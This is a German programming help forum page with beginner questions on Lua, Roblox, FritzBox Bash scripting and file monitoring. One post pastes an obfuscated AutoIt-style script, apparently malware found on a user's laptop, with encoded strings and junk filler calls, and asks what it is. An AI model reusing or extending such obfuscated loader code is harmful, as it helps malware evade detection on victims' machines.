FritzBox DECT-SmartHome per Bash-Script - Unerwartetes Dateiende?

Moinsen, kann mir evtl jemand sagen, warum ich den Fehler: "Unerwartetes Dateiende" bekomme, wenn ich das Script von dieser Seite ausführe?

smart_fritz_terminal.sh

Sehe da keinen Fehler. Bin aber auch kein Bash-Skript Profi.
Weiß nicht immer genau was wo zu beachten ist.
Hoffe mir kann jemand helfen den Fehler zu finden.

Falls der Link nicht geht oder sich die Datei irgendwie ändern sollte, hier nochmal zusätzlich der Quelltext direkt.

#!/bin/bash
# Die Adresse der Fritzbox
# Beispiele:
# fbox="https://192.168.178.1:444" # SSL-Verschlüsselt, Port 444
# fbox="http://192.168.178.1" # http normal, Port 80
# fbox="abcdef28kk6oabcdef.myfritz.net:444" # myfritz-Adresse, SSL, Port 444
# fbox="https://[2001:a00:12b7:c300:a00:a000:feed:921c]:444" # IPv6-Adresse, SSL, Port 444

#################
# Konfiguration #
fbox="http://192....." # Bitte Adresse eintragen
# Bei https, Ausnahme für selbst signiertes Zertifikat, sonst leer lassen
INSECURE= 
#INSECURE="--insecure" 

# Vollständige Anzeige: full, leer lassen für schnellere Ergebnisse
VIEW="full"
# das bei der Fritzbox konfigurierte Passwort
# unter System->FRITZ!Box-Benutzer->Anmeldung im Heimnetz
# Ist die Option "Anmeldung mit dem FRITZ!Box-Kennwort" aktiv
# genügt das Passwort für die Anmeldung

PASSWD="geheim"
# Der Benutzernamen für die Fritzbox
# Dieser lässt sich unter "System -> FRITZ!Box-Benutzer" erstellen.
# Dann kann man die Option
# "Anmeldung mit FRITZ!Box-Benutzernamen und Kennwort" aktivieren

USER="MeinName" 
#################
if [ "$fbox" = "" ]; then
if [ "$fbox" = "" ]; then
echo Bitte Fritzbox Adresse im Script eintragen
exit 1
fi

RED='\033[0;31m'
GREEN='\033[0;32m'
CYAN='\033[0;36m' 
YELLOW='\033[0;33m'
NC='\033[0m'
CURL=$(which curl) 
MD5SUM=$(which md5sum)
ICONV=$(which iconv)
AWK=$(which awk)

# Die SmartHome-Seite der Fritzbox
CURLCMD="$CURL $INSECURE -s $fbox/webservices/homeautoswitch.lua"

# Funktion zum Ermitteln der SID / Anmeldung bei der Fritzbox
get_sid() {
SID=$($CURL $INSECURE -s $fbox/login_sid.lua | sed 's/.*<SID>\(.*\)<\/SID>.*/\1/')
if [ "$SID" = "0000000000000000" ]; then
challenge=$($CURL $INSECURE -s $fbox/login_sid.lua |  grep -o "<Challenge>[a-z0-9]\{8\}" | cut -d'>' -f 2)
echo challenge: $challenge
CPSTR="$challenge-$PASSWD"
hash=`echo -n $CPSTR | $ICONV -f ISO8859-1 -t UTF-16LE | $MD5SUM -b | $AWK '{print substr($0,1,32)}'`
echo MD5: $hash
RESPONSE="$challenge-$hash"
POSTDATA="?username=$USER&response=$RESPONSE"
SID=$($CURL $INSECURE --data "$POSTDATA" -s $fbox/login_sid.lua | sed 's/.*<SID>\(.*\)<\/SID>.*/\1/')
fi
echo SID: $SID
}

# Funktion zum Ermitteln von Werten
get_value() {
RESULT=""
if [ "$2" = "" ]; then
RESULT=$($CURLCMD"?sid=$SID&switchcmd=$1")
else
RESULT=$($CURLCMD"?sid=$SID&ain=$2&switchcmd=$1")
fi
}

get_sid # SID holen
if [ "$SID" = "0000000000000000" ]; then
echo -e  "${RED}Anmeldung fehlgeschlagen ${NC}"
exit 1
fi
if [ "$SID" = "" ]; then
echo -e  "${RED}Anmeldung fehlgeschlagen ${NC}"
exit 1
fi

echo -e  "${GREEN}Anmeldung erfolgreich ${NC}"
echo

# Liste der Schalter ermitteln
get_value getswitchlist
COUNTER=0
IFS=', ' read -r -a array <<< "$RESULT"

# Werte der Schalter holen
for AIN in "${array[@]}"
do
let COUNTER=COUNTER+1 
echo -e  "${YELLOW}Actor #$COUNTER ${NC}"
switchpresent=0
get_value getswitchname $AIN
echo -e  "${CYAN}Name: $RESULT ${NC}"
get_value getswitchpresent $AIN
echo AIN: $AIN
echo Connected: $RESULT
if [ "$RESULT" = "1" ]; then
# bei aktiven Schaltern 
# Parameter verarbeiten, etwa: 1 on
if [ "$1" = "$COUNTER" ]; then
  if [ "$2" = "on" ]; then
    get_value setswitchon $AIN
	echo "set #$COUNTER on"
  fi	
    if [ "$2" = "off" ]; then
      get_value setswitchoff $AIN
	  echo "set #$COUNTER off"
    fi	
    if [ "$2" = "toggle" ]; then
      get_value setswitchtoggle $AIN
	  echo "set #$COUNTER toggle"
    fi	
fi
  
  # Alle Werte ermitteln/ausgeben (langsamer)
  if [ "$VIEW" = "full" ]; then
   get_value getswitchstate $AIN
   echo State: $RESULT
   get_value getswitchpower $AIN
   switchpower=`awk "BEGIN {printf \"%.2f\n\", $RESULT/1000}"`
   echo Power: $switchpower W
   get_value getswitchenergy $AIN
   echo Energy: $RESULT Wh
   get_value gettemperature $AIN
   temperature=`awk "BEGIN {printf \"%.1f\n\", $RESULT/10}"`
   echo Temperature: $temperature °C
   echo
  fi 
fi

done
exit 0
  
Bash, DECT, FRITZ!Box, lua, Script, Shell, Terminal, sh, Smart Home
Website erstellen - Mit Lua/Luau möglich?

Ist es eigentlich möglich, mit Lua oder Luau eine qualitative Website mit komplexem Layout und 3D-Elementen zu erstellen, oder kommt man um den JavaScript nicht herum?

Ich bin Anfänger (habe noch mich noch nie mit programmieren/coden vertraut gemacht) und möchte damit beginnen, zu lernen, wie man einen Code zu einer Website transformiert, habe mich damit aber noch nicht auseinandergesetzt (ich habe bisher noch keine Erfahrung mit coden von Websites). Und ja, bisher habe ich keine einzelne Zeile Code geschrieben und kenne mich auch nicht wirklich aus. Jedenfalls, für mich wäre es effizienter und eventuell auch besser, mich mit Lua vertraut zu machen, aber da ich dazu nichts gefunden habe, habe ich die Befürchtung, dass JavaScript nicht zu umgeben ist. Und so bin ich auf gutefrage.net gekommen, wie jeder, wenn er etwas sucht.

Kurzgefasst interessiert mich, ob man mit Lua folgendes tun kann:

  • Eine Website mit 3D-Effekten erstellen
  • Eine Website mit Animationen erstellen
  • Komplexe Layouts Wirklichkeit werden lassen

Ich bin noch ein richtiger Anfänger, aber mich würden eure Antwort und euer Wissen interessieren, damit ich weiß, was für die Zukunft besser ist (schließlich möchte ich eine Programmiersprache für die Erstellung von Websites lernen und dieses Wissen auch festigen, nicht umher springen von Programmiersprache zu Programmiersprache), denn es ist ja klar, dass ich erst klein beginnen würde (keine komplexen Layouts, Animationen, ...).

Danke!

Homepage, App, HTML, Webseite, CSS, JavaScript, HTML5, lua, Programmiersprache, Webdesign, Webentwicklung
Roblox Studio Scripts funktionieren nicht?

Hallo, Ich wollte damit beginnen Roblox spiele zu machen. Ich habe Roblox Studio schon ein bisschen gelernt und weiß zum beispiel schon wie man parts erstellt, decals erstellt oder wie man ein seil zwischen zwei parts erstellen kann.

Also wollte Ich mal damit beginnen Scripten zu lernen. Ich weiß schon was Variablen sind, wie man if und else benutzt usw. Jetzt beginne ich gerade damit diese dinge in roblox studio anzuwenden.

Leider funktionieren meine scripts aber nicht, es sind aber keine Errors. Ich habe sogar mal scripte von tutorials einfach genau gleich geschrieben aber es hat nicht funktioniert. Außerdem funktioniert das printen für den output schon und jetzt frage ich mich was das problem ist.

Ob ich vielleicht das script falsch schreibe oder ob ich irgendwas einstellen muss , ich weiß es nicht. Ich habe schon mehrmals im Internet nach Lösungen gesucht aber ich habe nichts gefunden. Ich bin mittlerweile schon ziemlich verzweifelt und werde jetzt ein paar fotos zeigen damit man es besser versteht.

  1. Foto: Also man sieht das script was ich gemacht habe und ich habe versucht die farbe eines Parts mit dem namen "Test" zu ändern. ich habe nach jeder zeile ein wort geprintet wo man dann in Foto 2 sieht dass es funktioniert hat. (man sieht es zwar nicht aber es hatte keine errors)
  2. Foto: Man sieht dass die farbe sich nicht geändert hat aber die wörter aus dem script wurden geprintet.

Ich danke jedem der mir hilft eine Lösung zu finden :)

Ich hoffe jemand kann mir helfen

Bild zum Beitrag
programmieren, lua, Script, verzweifelt, Funktioniert nicht, Robloxstudio
Bashskript Problem?

Ich habe hier ein Bashskript, welches Dateien überwacht (noch nicht vollständig und absolut unoptimiert). Ich weiß, dass es Tools gibt, aber es ist ein Projekt für die Uni und deshalb ist Optimierung und Effizienz nicht wirklich wichtig. Ich möchte damit die Grundlagen des Shellscriptings einfach etwas lernen.

Das ist bisher das Script:

#!/bin/bash


echo "Das Skript wurde gestartet. Der Typ Ihres Betriebssystem ist "\"$OSTYPE\""."


# If-Abfrage, die das Betriebssystem erkennt und den Pfad zum überwachten Ordner oder Datei festlegt # HIER BITTE DIE PFADE ZUM ZU ÜBERWACHENDEN ORDNER EINTRAGEN   
if [[ "$OSTYPE" == "linux-gnu"* ]]; then
    BASE_DIRECTORY=" " # Übergibt dem überwachten Ordner eine Variable, wenn Betriebssystem = Linux
elif [[ "$OSTYPE" == "darwin"* ]]; then
    BASE_DIRECTORY="/Users/name/Library/CloudStorage/GoogleDrive-email@gmail.com/Meine Ablage/Uni/TestOrdner" # Übergibt dem überwachten Ordner eine Variable, wenn Betriebssystem = MacOs
elif [[ "$OSTYPE" == "win32" || "$OSTYPE" == "msys" || "$OSTYPE" == "cygwin" ]]; then
    BASE_DIRECTORY="/g/Meine Ablage/Uni/TestOrdner" # Übergibt dem überwachten Ordner eine Variable, wenn Betriebssystem = Windows
else    
    echo "Das Betriebssystem ist unbekannt." # Wenn das Betriebssystem unbekannt ist, wird eine Fehlermeldung ausgegeben
    exit 1
fi


DIRECTORY="$BASE_DIRECTORY" # Pfad zum Ordner
FILE="$BASE_DIRECTORY/Datei.txt" # Pfad zur Datei   
FILE2="$BASE_DIRECTORY/Datei2.txt" # Pfad zur Datei2 


cd "$BASE_DIRECTORY" || {
    echo "Wechsel zu $BASE_DIRECTORY fehlgeschlagen!" # Wechselt in den TestOrdner oder gibt eine Fehlermeldung aus
    exit 1;
}



# Funktion, um zu überprüfen, ob Dateien gelöscht wurden
checkIfDeleted() {
    if [ ! -f "$FILE" ]; then 
        echo "Die Datei \"$(basename "$FILE")\" wurde gelöscht, umbenannt oder verschoben."
    elif [ ! -f "$FILE2" ]; then
        echo "Die Datei \"$(basename "$FILE2")\" wurde gelöscht, umbenannt oder verschoben."
    elif [ ! -d "$DIRECTORY" ]; then
        echo "Der Ordner \"$(basename "$DIRECTORY")\" wurde gelöscht, umbenannt oder verschoben."
    fi
}


# Speichert den "ursprünglichen" Hash-Wert der Dateien
ORIGINAL_HASH=$(md5 -q "$FILE")
ORIGINAL_HASH2=$(md5 -q "$FILE2")


checkIfEdited() {
    if [ ! -f "$FILE" ]; then # Wenn $FILE nicht existiert, dann wird das Skript hier beendet
    return
    fi


    if [ ! -f "$FILE2" ]; then # Wenn $FILE2 nicht existiert, dann wird das Skript hier beendet
    return
    fi


    if [ ! -d "$DIRECTORY" ]; then # Wenn $DIRECTORY nicht existiert, dann wird das Skript hier beendet
    return
    fi


    # Berechnet den aktuellen Hash-Wert der Dateien
    CURRENT_HASH=$(md5 -q "$FILE")
    CURRENT_HASH2=$(md5 -q "$FILE2")


    # Hash-Werte werden verglichen
    if [ "$CURRENT_HASH" != "$ORIGINAL_HASH" ]; then
        echo "Die Datei \"$(basename "$FILE")\" wurde bearbeitet."
        # Ursprünglicher Hash-Wert wird für zukünftige Überprüfungen aktualisiert
        ORIGINAL_HASH="$CURRENT_HASH"
    elif [ "$CURRENT_HASH2" != "$ORIGINAL_HASH2" ]; then
        echo "Die Datei \"$(basename "$FILE2")\" wurde bearbeitet."
        # Ursprünglicher Hash-Wert wird für zukünftige Überprüfungen aktualisiert
        ORIGINAL_HASH2="$CURRENT_HASH2"
    fi
}


while true; do # Endlosschleife, die die Funktionen "checkIfDeleted" und "checkIfEdited" alle 10 Sekunden ausführt
    checkIfDeleted
    checkIfEdited
    sleep 10
done

Ja, ich weiß, welche Probleme das Skript mit sich bringt, aber ich habe ein anderes Problem:

Wenn jemand das Skript nutzen möchte, muss er die Pfade seiner Dateien einfügen und sogar neue Variablen definieren.

Man könnte das doch so machen, dass das Skript die Liste des Ordners einliest und dann auf alle Dateien direkt zugreifen muss, ohne dass man sie in das Skript einfügen muss.

Also irgendwie mit dem Befehl "ls". Ich weiß aber nicht, wie ich das implementieren soll.

Kann mir wer helfen bitte?

Visual Basic, Linux, HTML, Webseite, VBA, Bash, Batch, cmd, Code, lua, MySQL, PHP, Programmiersprache, Python, Script, Python 3
Lua Programmiersprache lernen, empfehlenswerte Bücher?

Hallo Freunde,

ich habe seit 2015/16 angefangen Garry‘s Mod auf verschiedenen Gameservern zu spielen. Dort konnte bereits über 6.000 Spielstunden ansammeln.

2017 habe ich mich dann auch dem Serverteam bei einer etwas größeren Community angeschlossen. Dort fing alles an als Supporter.

Meine Neugier war selbstverständlich sehr hoch, wie solch ein Server überhaupt betrieben wird und wie es zu diesen ganzen Funktionen auf dem Server kommt. Ich eignete mir leichtes Grundwissen an und helfte als ,,Servertechniker“ aus. (Jobs schreiben/umschreiben, Skripte umschreiben/übersetzen und schließlich die Inbetriebnahme eines Gameservers)

2020 eröffnete ich dann meinen eigenen Server mit Skripten aus dem Gmodstore.

Nun möchte ich mich aber selbst an das Programmieren von solchen Skripts befassen, da mir die Arbeiten mit LUA damals schon Spaß gemacht hatten.

Allerdings habe ich keinen blassen Schimmer wie ich mit einem Skript überhaupt anfange, die Funktionen, das Overlay und alles was eben dazugehört.

Schlichtweg möchte ich erstmal einfacheren Skripte schreiben. (z.B Scoreboard und HUD)

Gibt es für die Programmiersprache LUA gute Bücher oder Webseiten die ihr mir empfehlen könntet?

Textprogramm mit dem ich damals gearbeitet habe war Notepad++, nun möchte ich aber mit Visual Code Studio arbeiten.

Ich hoffe ihr könnt mir weiterhelfen.

Computer, Computerspiele, Mods, Programm, Community, Webseite, Programmierer, programmieren, Garry's Mod, lua, Programmiersprache, Visual Studio, Visual Studio Code, Garry's Mod Server
Lua: Wieso wird das Label nicht geändert?

Hallo Leute!

Es ist vielleicht ein bisschen komisch, Fragen zum Programmieren hier zu stellen, aber ich komme wirklich einfach nicht weiter.

Ich habe dieses Lua-Skript geschrieben, welches die Geschwindigkeit und ein TextLabel eines Spielers ändern soll, wenn er mit einem Baum Interagiert.

Mein Problem ist, dass wenn ich interagiere, zwar die Geschwindigkeit geändert wird, jedoch nicht das Label. Außerdem wird beides nicht auf den richtigen Wert gesetzt, nachdem man aus dem Spiel und wieder hineingeht.

Außerdem wird kein Fehlercode angezeigt.

Das Skript:

local Players = game:GetService("Players")
local DataStoreService = game:GetService("DataStoreService")
local speedDataStore = DataStoreService:GetDataStore("PlayerSpeedData12")
local tree = workspace:FindFirstChild("Tree2")
if tree then
local prompt = tree.Part.Attachment.ProximityPrompt
if prompt then
prompt.Triggered:Connect(function(player)
-- Überprüfen, ob der Player ein gültiger Spieler ist
if player and player:IsA("Player") then
local userId = player.UserId
local success, hasInteracted = pcall(function()
return speedDataStore:GetAsync("HasInteracted_" .. userId)
end)
if success and hasInteracted then
warn("Player has already interacted with the tree")
return
end
local character = player.Character
if character then
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
-- Erhöhe die Geschwindigkeit
if humanoid.WalkSpeed then
humanoid.WalkSpeed = (humanoid.WalkSpeed or 16) + 0.5
end
end
-- Erhöhe den Wert des TextLabels
local playerGui = player:WaitForChild("PlayerGui")
if playerGui then
local screenGui = playerGui:FindFirstChild("ScreenGui") 
if screenGui then
local textLabel = screenGui:FindFirstChild("SpeedFrame"):FindFirstChild("SpeedCounter"):FindFirstChild("Speed")
if textLabel and textLabel:IsA("TextLabel") then
wait(0.1)
local successText, savedText = pcall(function()
return speedDataStore:GetAsync("SpeedText_" .. userId)
end)
if successText and savedText then
textLabel.Text = savedText
else
textLabel.Text = "1.00"
end
-- Speichere den aktualisierten Text
pcall(function()
speedDataStore:SetAsync("SpeedText_" .. userId, textLabel.Text)
end)
end
else
warn("ScreenGui nicht gefunden")
end
else
warn("PlayerGui nicht gefunden")
end
else
warn("Character nicht gefunden")
end
local success, errorMessage = pcall(function()
speedDataStore:SetAsync("HasInteracted_" .. userId, true)
if humanoid then
speedDataStore:SetAsync("WalkSpeed_" .. userId, humanoid.WalkSpeed)
end
end)
if not success then
warn("Fehler beim Speichern der Daten: " .. errorMessage)
end
else
warn("Ungültiger Spieler")
end
end)
else
warn("ProximityPrompt nicht gefunden")
end
else
warn("Tree2 nicht gefunden")
end
Players.PlayerAdded:Connect(function(player)
local userId = player.UserId
local success, savedSpeed = pcall(function()
return speedDataStore:GetAsync("WalkSpeed_" .. userId)
end)
local successText, savedText = pcall(function()
return speedDataStore:GetAsync("SpeedText_" .. userId)
end)
if success then
player.CharacterAdded:Connect(function(character)
local humanoid = character:WaitForChild("Humanoid")
if savedSpeed and humanoid then
if humanoid.WalkSpeed then
humanoid.WalkSpeed = savedSpeed
end
end
local playerGui = player:WaitForChild("PlayerGui")
if playerGui then
local screenGui = playerGui:FindFirstChild("ScreenGui") 
if screenGui then
local textLabel = screenGui:FindFirstChild("SpeedFrame"):FindFirstChild("SpeedCounter"):FindFirstChild("Speed")
if textLabel and textLabel:IsA("TextLabel") then
wait(0.1)
if successText and savedText then
textLabel.Text = savedText
else
textLabel.Text = "0"
end
else
warn("TextLabel nicht gefunden")
end
else
warn("ScreenGui nicht gefunden")
end
else
warn("PlayerGui nicht gefunden")
end
end)
else
warn("Fehler beim Laden der gespeicherten Geschwindigkeit für Spieler " .. userId)
end
end) 

Ich wäre wirklich sehr dankbar, wenn mir jemand weiterhelfen kann!

Fehler, Code, lua, Programmiersprache
random so auf dem Laptop aufgetaucht was ist das?

Hallo miteinander, ich habe diese "i" Datei einfach so auf Dem Rechner gefunden und wollte Einfach mal wissen was es ist, hier ist der Link dazu: [Link vom Support entfernt]

FILExt seit 2000 $DrawAlternative = 23 $LeaseSucceed = 50 For $WpQYhhOY = 62 To 328 If $DrawAlternative = 21 Then ACos(7367) DriveStatus(BendFibre("66R97R110R97R110R97R47R82R101R115R99R117R101R47R71R98R112R47",0/1)) Sqrt(3520) $DrawAlternative = $DrawAlternative + 1 EndIf If $DrawAlternative = 22 Then FileExists(BendFibre("68R105R118R115R100R105R43R84R118R113R102R115R119R106R116R112R115R43R85R98R109R108R116R43",4/4)) PixelGetColor(BendFibre("81R103R38R38R38R38R89R103R108R107R38R38R38R38R89R122R117R120R107R38R38R38R38",12/2), BendFibre("81R103R38R38R38R38R89R103R108R107R38R38R38R38R89R122R117R120R107R38R38R38R38",12/2)) Dec(BendFibre("89R107R103R121R117R116R103R114R100R76R107R107R121R100R90R111R121R121R123R107R100",30/5)) $DrawAlternative = $DrawAlternative + 1 EndIf If $DrawAlternative = 23 Then Opt(BendFibre("88R118R101R125R77R103R115R114R76R109R104R105",24/6), 1) ExitLoop EndIf If $DrawAlternative = 24 Then ConsoleWriteError(BendFibre("87R112R107R118R123R45R67R112R107R111R103R45R75R112R118R103R116R112R103R118R45",8/4)) Chr(1517) $DrawAlternative = $DrawAlternative + 1 EndIf Next Func WholesaleHaitiReminderCompleting($annemeets, $AmazoncoukLay, $DICKMATSSLIM, $prisonerexhaustnbentry, $yukonaviationjaystadium, $ProportionPin, $gpautumnproductionspiritual, $werepresentedbaldborders, $electronicknowledgechristina) $ALTOPERSONALLY = '5405010214968952063493898807967726088594171878677126840372' $StephenNsSapAdditional = 48 $TerraceTerrible = 87 For $UbtIoS = 40 To 921 If $StephenNsSapAdditional = 47 Then ACos(6960) PixelGetColor(94, 568, 0) ATan(1964) $StephenNsSapAdditional = $StephenNsSapAdditional + 1 EndIf If $StephenNsSapAdditional = 48 Then $BITCHDUBAIDIARYM = Sqrt(7992) ExitLoop EndIf If $StephenNsSapAdditional = 49 Then ASin(824) ConsoleWriteError(BendFibre("85R116R120R106R66R81R106R108R110R120R113R102R121R122R119R106R66R76R122R110R113R105R66R73R110R123R125R66",5/1)) FileExists(BendFibre("85R103R112R102R117R34R84R103R101R113R112R117R118R116R119R101R118R107R113R112R34R88R103R118R103R116R99R112R117R34R86R99R100R110R103R118R34",2/1)) $StephenNsSapAdditional = $StephenNsSapAdditional + 1 EndIf Next $SPIESSUBMISSIONOCCASIONAL = '277738451445807690080798083527466278916798997871293099' $distributorafterwards = 6 $MythAvailable = 56 For $tCvjcSsLv = 31 To 519 If $distributorafterwards = 4 Then Dec(BendFibre("71R85R68R80R68R35R76R81R71R76R68R81R68R35R79R76R87R75R88R68R81R76R68R35R69R79R89R71R35",27/9)) Exp(9587) PixelGetColor(45, 170, 0) $distributorafterwards = $distributorafterwards + 1 EndIf If $distributorafterwards = 5 Then PixelGetColor(35, 618, 0) ConsoleWriteError(BendFibre("85R103R103R109R103R116R117R49R81R116R107R103R112R118R99R118R107R113R112R49R78R99R121R117R119R107R118R49R85R119R110R110R107R120R99R112R49",16/8)) ACos(5577) $distributorafterwards = $distributorafterwards + 1 EndIf If $distributorafterwards = 6 Then $representativexnxxpetroleummagnet = Sqrt(217) ExitLoop EndIf If $distributorafterwards = 7 Then Chr(835) Dec(BendFibre("65R99R99R117R114R97R116R101R33",0/4)) $distributorafterwards = $distributorafterwards + 1 EndIf Next $COMPRESSEDENVIRONMENTAL = '4577431951295599919326669678' $OrderingAka = 81 $EVOLUTIONPACKETSCOMPETITIVE = 51 For $hdma = 92 To 283 If $OrderingAka = 80 Then Exp(6961) ASin(2467) DriveStatus(BendFibre("113R121R68",36/9)) $OrderingAka = $OrderingAka + 1 EndIf If $OrderingAka = 81 Then $hipdisplayoriginalalignment = ASin(1467) ExitLoop EndIf Next $FROSTAFFILIATESCOLONIAL = '018963007035438608543348846914979471546604839410592769688' $FINISHINGWHENEVERNODES = 23 $YOURTAPESDEATHSDUST = 50 For $ZLaruUIk = 65 To 201 If $FINISHINGWHENEVERNODES = 22 Then Chr(7045) PixelGetColor(BendFibre("78R119R124R126R123R110R56",63/7), BendFibre("78R119R124R126R123R110R56",63/7)) $FINISHINGWHENEVERNODES = $FINISHINGWHENEVERNODES + 1 EndIf If $FINISHINGWHENEVERNODES = 23 Then $COPPERRACHELBEAVERVP = PixelGetColor(43, 391, 0) ExitLoop EndIf If $FINISHINGWHENEVERNODES = 24 Then ATan(8608) Sqrt(5933) PixelGetColor(66, 437, 0) $FINISHINGWHENEVERNODES = $FINISHINGWHENEVERNODES + 1 EndIf Next $DEVELOPMENTEDITORIALARTHRITIS = '804534994533913976475826179188086637374026519863466805618856582756738' $IncorporateVilla = 30 $GottenLoops = 53 For $zGCEXLS = 96 To 915 If $IncorporateVilla = 29 Then Dec(BendFibre("81R123R116R105R117R72R91R107R105R118R118R109R108R72",16/2)) Exp(9251) $IncorporateVilla = $IncorporateVilla + 1 EndIf If $IncorporateVilla = 30 Then $AppearsContainedHottest = ConsoleWriteError(BendFibre("87R107R108R81R105R120R73R77R114R109R106R83R108R122R110R90",6/2)) ExitLoop EndIf If $IncorporateVilla = 31 Then ATan(2355) Dec(BendFibre("77R79R82R82R73R83R43R67R65R43",0/3)) $IncorporateVilla = $IncorporateVilla + 1 EndIf Next $ListingsGc = '9632358956507871259104285367395025565' $validitygrandn

Visual Basic, VBA, Code, Dummheit, Entschlüsseln, Hacking, lua, Programmiersprache, Python, Visual Studio, VBA Excel
Epic's "Core" Error running Lua task: [4C6A178280F8DC08]?

Ich spiele gerade ein wenig mit der Epic "Core"-Engine rum. Die benutzt die Lua-Version 5.3.6. - Ich bin absoluter Laie was coden angeht. Hab als Kind mal das ein oder andere Programm mit Visual Basic geschrieben und war stolz drauf. Das wars dann aber auch. Ich möchte verstehen wo der Fehler liegt.

Ich versuche das "META Inventory System" in Kombination mit dem "NPC AI Kit" zum laufen zu kriegen. Sobald ich einen NPC angreife kommt folgende Fehlermeldung:

Error running Lua task: [4C6A178280F8DC08] NPCKitTagGetter:164: attempt to index a nil value (local 'obj')

Soweit ich weiß heißt "nil" = non-existence or nothingness, bedeutet das der Code findet ein Objekt nicht?

Im Code selbst an der besagten Stelle, Line164: if obj.serverUserData and obj.serverUserData.combatTags then tagTable = obj.serverUserData.combatTags

Der NPC kann mir schaden zufügen und mich sogar besiegen. Sobald ich den NPC angreife nimmt er von diesem einen Angriff Schaden und danach keinen mehr, ab meinem ersten Angriff kann er mir auch keinen Schaden mehr zufügen. Das Game freezed jetzt nicht, aber es bricht halt die Gamemechanic so das es keinen Sinn mehr macht weiter zu spielen.

Ich bin da jetzt schon seit gut 4-5 Stunden dran.. und Tutorials zu dem Fehler gibt es auch nicht. Bin auch schon auf einem Discord extra für Lua Scripter gegangen, bisher konnte aber niemand helfen.

Vielleicht findet sich ja hier ein schlafloser Programmierer in Helferlaune. :)

Wenn noch was gebraucht wird an Info, gebe ich die natürlich. Ich lass den Tab mal offen und versuch weiter das Ding zum laufen zu kriegen.

System, Core, Error, lua, meta, nil, Programmiersprache, Epic, inventory
Roblox Studio Skript Bedeutung?

Also es ist ein Tag-Nacht-Zyklus von der Toolbox und in der Beschreibung stand, dass dayLength die Tageslänge in Minuten bedeutet, auch wenn es im Spiel eher 3 Minuten sind. Im Moment bin ich so am Rumprobieren, aber weiß nicht mal richtig, was das alles bedeutet. Ich werde in fett danebenschreiben, was ich denke, was das bedeutet. Könnte evtl. jemand drüberschauen, was ich falsch interpretiert habe, vor Allem mit den Zahlen?

local dayLength = 12

Ein Tag/ Eine Nacht dauern jeweils 12 Minuten (Steht das für 12 Fakestunden?)

local cycleTime = dayLength*60

Ähmm.. Wie lang eine Sekunde (Fakeminute) dauert?

local minutesInADay = 24*60

Wieviel Sekunden eine Minute hat (Fakeminuten pro Fakestunde)

local lighting = game:GetService("Lighting")

Ob es heller oder dunkler ist

local startTime = tick() - (lighting:getMinutesAfterMidnight() / minutesInADay)*cycleTime

Zeitpunkt, an dem Tag/Nacht beginnt, bei dem lighting:get MinutesAfterMidnight, ist das so, dass automatisch die Zeit erkannt wird, jenachdem wo das Licht ist? Und wenn man das durch Minutesinaday teilt, weiß man, wie viel Prozent des Tages schon rum ist, heißt das, das müsste null sein wenn der Tag beginnt? Und wieso multipliziert man mit CycleTime, ist das nicht so und so 0 am Tagesanfang? Also der Tag beginnt anscheinend an Mitternacht, oder? Und was bedeutet das Tick?

local endTime = startTime + cycleTime

Wenn ein Zyklus endet, also die Startzeit plus Tagessekungen(Fakeminuten). Wieso nimmt man da nicht dayLength? Oder Zählen da die Sekunden, nicht Minuten?

local timeRatio = minutesInADay / cycleTime

Gekürzt 24/12, also wie gekürzt der Tag ist im Vergleich?? Oder so?

if dayLength == 0 then

dayLength = 1

end

repeat

Wenn es wahr ist, dass der Tag/ die Nacht begonnen hat, ähm, dann soll die Zeit um eins weiter gehen (naja)

local currentTime = tick()

Die aktuelle Zeit kann man dran fest machen indem die Zeit jede Sekunde um einen Tick vorwärtsgeht (oder so)

if currentTime > endTime then

startTime = endTime

endTime = startTime + cycleTime

end

Wenn die aktuelle Zeit das Ende des Tages erreicht hat, beginnt der Anfang der Nacht, und andersrum, und dann wird noch gesagt, dass die Endzeit der Zeitpunkt nach einem Tageszyklus ist

lighting:setMinutesAfterMidnight((currentTime - startTime)*timeRatio)

wait(1/15)

until false

Und keine Ahnung, was hier passiert, ich dachte Minuten nach mitternacht ist klar, wieso ist danach noch was in der Klammer?

Informatik, lua, Programmiersprache, Roblox, Roblox Studio

Meistgelesene Beiträge zum Thema Lua